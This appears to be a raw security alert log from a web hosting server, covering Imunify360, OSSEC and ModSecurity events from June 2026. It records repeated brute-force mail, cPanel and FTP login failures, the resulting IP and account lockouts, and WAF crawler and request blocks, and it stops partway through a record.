2026-06-12 21:02:29 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (rkf1eOO) [192.99.255.73]:60128: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 192.99.255.73
country_id: 6251999
description:
Jun 12 21:03:24 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jmnoagbo@cafe.tg has been locked for the attacker IP 192.99.255.73


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 21:03:26 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (dHvMx4) [192.99.255.73]:63981: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 21:04:04 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (7Fk2a9) [192.99.255.73]:50070: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 192.99.255.73
country_id: 6251999
description:
Jun 12 21:04:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jmnoagbo@cafe.tg has been locked for the attacker IP 192.99.255.73


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 21:04:23 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (lOu4OgNZ1) [192.99.255.73]:51294: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.193.167.42
country_id: 298795
description:
185.193.167.42 - - [12/Jun/2026:21:04:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7194214&pdata=https%253A%252F%252Fsnb.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781298278 HTTP/2.0" 302 0 snb.tg "https://snb.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.193.167.42


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.198.130.211
country_id: 2017370
description:
2026-06-12 21:05:25 dovecot_plain authenticator failed for H=(8ndhnnoxxwn8i78yjineejfgr8wln0) [94.198.130.211]:40734: 535 Incorrect authentication data (set_id=arse@arse.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 94.198.130.211
country_id: 2017370
description:
Jun 12 21:05:23 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 94.198.130.211 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 159.223.62.22
country_id: 1880251
description:
Jun 12 21:05:36 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 159.223.62.22 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 21:05:39 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (bhOMwXnF) [192.99.255.73]:56376: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 192.99.255.73
country_id: 6251999
description:
Jun 12 21:05:37 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jmnoagbo@cafe.tg has been locked for the attacker IP 192.99.255.73


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 21:06:36 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (pbSWEOMKer) [192.99.255.73]:60210: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.86.139.68
country_id: 298795
description:
2026-06-12 21:07:18 dovecot_plain authenticator failed for H=(white-ways.com) [149.86.139.68]:42079: 535 Incorrect authentication data (set_id=home@white-ways.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.134.27.181
country_id: 1210997
description:
2026-06-12 21:07:29 dovecot_plain authenticator failed for H=(white-ways.com) [103.134.27.181]:33845: 535 Incorrect authentication data (set_id=home@white-ways.com)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 137.184.97.15
country_id: 6252001
description:
Jun 12 21:07:36 ns5 pure-ftpd[1882229]: (?@137.184.97.15) [WARNING] Authentication failed for user [Ae97]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 21:07:33 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (fqe6WCz) [192.99.255.73]:64058: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 21:08:49 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (YyurXZ) [192.99.255.73]:52783: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 192.99.255.73
country_id: 6251999
description:
Jun 12 21:09:06 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jmnoagbo@cafe.tg has been locked for the attacker IP 192.99.255.73


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.210.132.14
country_id: 1269750
description:
[2026-06-12 21:09:14 +0000] info [cpaneld] 103.210.132.14 - cafe "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafe (has_cpuser_file failed)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 21:08:30 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (wobTtlAcuI) [192.99.255.73]:51502: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.245
country_id: 2363686
description:
2026-06-12 21:09:52 dovecot_login authenticator failed for H=(cloud.netmaster.tg) [154.70.82.245]:54512: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 192.99.255.73
country_id: 6251999
description:
Jun 12 21:09:25 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jmnoagbo@cafe.tg has been locked for the attacker IP 192.99.255.73


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 21:09:27 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (HXCtfBl) [192.99.255.73]:55356: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.212
country_id: 3469034
description:
Jun 12 21:10:57 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.212 has been locked due to Imunify RBL


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 192.99.255.73
country_id: 6251999
description:
Jun 12 21:10:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jmnoagbo@cafe.tg has been locked for the attacker IP 192.99.255.73


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 21:10:24 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (nGedfgR) [192.99.255.73]:59162: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 192.99.255.73
country_id: 6251999
description:
Jun 12 21:11:38 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jmnoagbo@cafe.tg has been locked for the attacker IP 192.99.255.73


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 21:11:40 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (jMqVgdauuL) [192.99.255.73]:64313: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.84.8.11
country_id: 3469034
description:
Jun 12 21:12:47 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.84.8.11 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 21:12:56 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (g7L7QEFua) [192.99.255.73]:53140: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 192.99.255.73
country_id: 6251999
description:
Jun 12 21:12:35 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jmnoagbo@cafe.tg has been locked for the attacker IP 192.99.255.73


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 21:12:37 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (51ujjCxS) [192.99.255.73]:51753: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 192.99.255.73
country_id: 6251999
description:
Jun 12 21:13:32 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jmnoagbo@cafe.tg has been locked for the attacker IP 192.99.255.73


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 21:13:34 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (vlAO3WkoZ) [192.99.255.73]:55758: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 21:14:31 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (KsZViEgt) [192.99.255.73]:59551: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 21:15:28 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (HY0ouWo60A) [192.99.255.73]:63349: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.138.69.94
country_id: 3077311
description:
Jun 12 21:16:56 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.138.69.94 has been locked due to Imunify RBL


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 192.99.255.73
country_id: 6251999
description:
Jun 12 21:17:01 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jmnoagbo@cafe.tg has been locked for the attacker IP 192.99.255.73


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.73
country_id: 3175395
description:
Jun 12 21:17:16 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.73 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 21:16:25 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (pkdvw1bG) [192.99.255.73]:50830: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 161.97.125.76
country_id: 3017382
description:
[2026-06-12 21:16:28 +0000] info [cpaneld] 161.97.125.76 - masfloy "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 192.99.255.73
country_id: 6251999
description:
Jun 12 21:17:39 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jmnoagbo@cafe.tg has been locked for the attacker IP 192.99.255.73


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 137.184.97.15
country_id: 6252001
description:
Jun 12 21:18:00 ns5 pure-ftpd[1887798]: (?@137.184.97.15) [WARNING] Authentication failed for user [$GpnYD6]


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 21:17:22 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (DPQA6U) [192.99.255.73]:54632: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.73
country_id: 3175395
description:
Jun 12 21:17:24 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.73 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 21:17:41 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (Pf3qPR4pA) [192.99.255.73]:55888: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 18.224.171.11
country_id: 6252001
description:
[2026-06-12 21:18:34 +0000] info [cpaneld] 18.224.171.11 - bighostingsnbd "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 192.99.255.73
country_id: 6251999
description:
Jun 12 21:18:36 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jmnoagbo@cafe.tg has been locked for the attacker IP 192.99.255.73


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 21:18:38 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (DBY3fUP3M) [192.99.255.73]:59747: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.114.170.170
country_id: 953987
domain: www.cafe.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tg/?p=612 HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.114.170.170
country_id: 953987
domain: www.cafe.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tghttp/www.cafe.tg/?p=612 HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 192.99.255.73
country_id: 6251999
description:
Jun 12 21:19:33 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jmnoagbo@cafe.tg has been locked for the attacker IP 192.99.255.73


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 21:19:35 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (RAt2g4AHQ) [192.99.255.73]:63614: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 159.223.62.22
country_id: 1880251
description:
Jun 12 21:21:03 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 159.223.62.22 has been locked due to Imunify RBL


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 192.99.255.73
country_id: 6251999
description:
Jun 12 21:20:30 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jmnoagbo@cafe.tg has been locked for the attacker IP 192.99.255.73


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 21:20:32 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (BFzl27JP) [192.99.255.73]:51069: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 185.15.179.185
country_id: 3895114
domain: afriquerevelation.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:185.15.179.185||TA:185.15.179.185||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 152.232.116.56
country_id: 6252001
domain: afriquerevelation.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:152.232.116.56||TA:152.232.116.56||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 192.99.255.73
country_id: 6251999
description:
Jun 12 21:21:27 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jmnoagbo@cafe.tg has been locked for the attacker IP 192.99.255.73


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 21:21:29 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (Jc0HTwpHE) [192.99.255.73]:54876: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 21:21:48 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (UhuRijj4n) [192.99.255.73]:56090: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.189.99.219
country_id: 3895114
description:
[2026-06-12 21:23:12 +0000] info [cpaneld] 186.189.99.219 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 21:22:26 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (SfnRBxTA) [192.99.255.73]:58619: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 203.55.81.2
country_id: 3017382
description:
203.55.81.2 - - [12/Jun/2026:21:23:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6645397&pdata=http%253A%252F%252Fmonde-ai.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781299431 HTTP/1.1" 302 0 monde-ai.tg "http://monde-ai.tg/" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Brave/1 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.55.81.2


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 161.123.154.50
country_id: 6252001
domain: caissederetraites.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:161.123.154.50||TA:161.123.154.50||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 21:23:23 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (GEtfQythYH) [192.99.255.73]:62552: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 114.119.146.4
country_id: 1880251
domain: civilemagazine.tg
description:
IM360 WAF: Possible XSS in arguments||MV:https://civilemagazine.tg/ong-sante-integree-recrute-un-superviseur-des-asc-direction-rssbc?amp=1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 38.154.205.150
country_id: 6252001
domain: afriquerevelation.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:38.154.205.150||TA:38.154.205.150||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 113.16.16.162
country_id: 1814991
domain: www.togosem.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:21-24.113.16.16.162||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 21:24:39 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (FQUHCuX4DI) [192.99.255.73]:51324: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 155.254.38.241
country_id: 2635167
domain: afriquerevelation.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:155.254.38.241||TA:155.254.38.241||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 192.99.255.73
country_id: 6251999
description:
Jun 12 21:24:56 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jmnoagbo@cafe.tg has been locked for the attacker IP 192.99.255.73


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 21:26:14 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (qILtvLL) [192.99.255.73]:57820: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 192.186.185.253
country_id: 6252001
domain: caissederetraites.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:192.186.185.253||TA:192.186.185.253||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 192.99.255.73
country_id: 6251999
description:
Jun 12 21:25:34 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jmnoagbo@cafe.tg has been locked for the attacker IP 192.99.255.73


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 21:25:36 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (FJ7ncBMZ7) [192.99.255.73]:55216: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 192.99.255.73
country_id: 6251999
description:
Jun 12 21:26:31 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jmnoagbo@cafe.tg has been locked for the attacker IP 192.99.255.73


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.101.141.68
country_id: 3469034
description:
[2026-06-12 21:27:15 +0000] info [cpaneld] 177.101.141.68 - mediatopnews "GET /login/?login_only=1&user=mediatopnews&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mediatopnews (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.86.109.131
country_id: 3625428
description:
[2026-06-12 21:27:17 +0000] info [cpaneld] 82.86.109.131 - mediatopnewstg "GET /login/?login_only=1&user=mediatopnewstg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mediatopnewstg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.189.52.242
country_id: 3469034
description:
[2026-06-12 21:27:20 +0000] info [cpaneld] 181.189.52.242 - mediatopnew "GET /login/?login_only=1&user=mediatopnew&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mediatopnew (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 21:26:33 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (BvU9NDR1iP) [192.99.255.73]:59105: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.49.75.148
country_id: 102358
description:
[2026-06-12 21:27:32 +0000] info [cpaneld] 188.49.75.148 - mediatop "GET /login/?login_only=1&user=mediatop&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mediatop (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.86.17.179
country_id: 3469034
description:
[2026-06-12 21:27:36 +0000] info [cpaneld] 187.86.17.179 - mediato "GET /login/?login_only=1&user=mediato&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mediato (has_cpuser_file failed)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 192.99.255.73
country_id: 6251999
description:
Jun 12 21:27:28 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jmnoagbo@cafe.tg has been locked for the attacker IP 192.99.255.73


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 21:27:30 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (4bn4tSLDDq) [192.99.255.73]:62994: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 21:28:27 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (27OdS6rO) [192.99.255.73]:50533: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 110.249.201.135
country_id: 1814991
domain: pnls.tg
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; https://zhanzhang.toutiao.com/)||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 192.99.255.73
country_id: 6251999
description:
Jun 12 21:28:25 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jmnoagbo@cafe.tg has been locked for the attacker IP 192.99.255.73


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 21:29:24 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (Lg764Iwj) [192.99.255.73]:54353: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 164.215.103.71
country_id: 241170
description:
Jun 12 21:29:55 ns5 pure-ftpd[1894074]: (?@164.215.103.71) [INFO] New connection from 164.215.103.71


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 192.99.255.73
country_id: 6251999
description:
Jun 12 21:29:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jmnoagbo@cafe.tg has been locked for the attacker IP 192.99.255.73


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 21:30:21 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (bD9MkqG5) [192.99.255.73]:58208: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 21:30:40 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (cDF1VwTNMQ) [192.99.255.73]:59499: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 92.112.200.136
country_id: 3469034
domain: afriquerevelation.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:92.112.200.136||TA:92.112.200.136||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.99.255.73
country_id: 6251999
description:
2026-06-12 21:31:37 dovecot_login authenticator failed for H=ip73.ip-192-99-255.net (5MSluIp) [192.99.255.73]:63402: 535 Incorrect authentication data (set_id=jmnoagbo@cafe.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-12 21:33:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:47736: 535 Incorrect authentication data (set_id=ycl@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
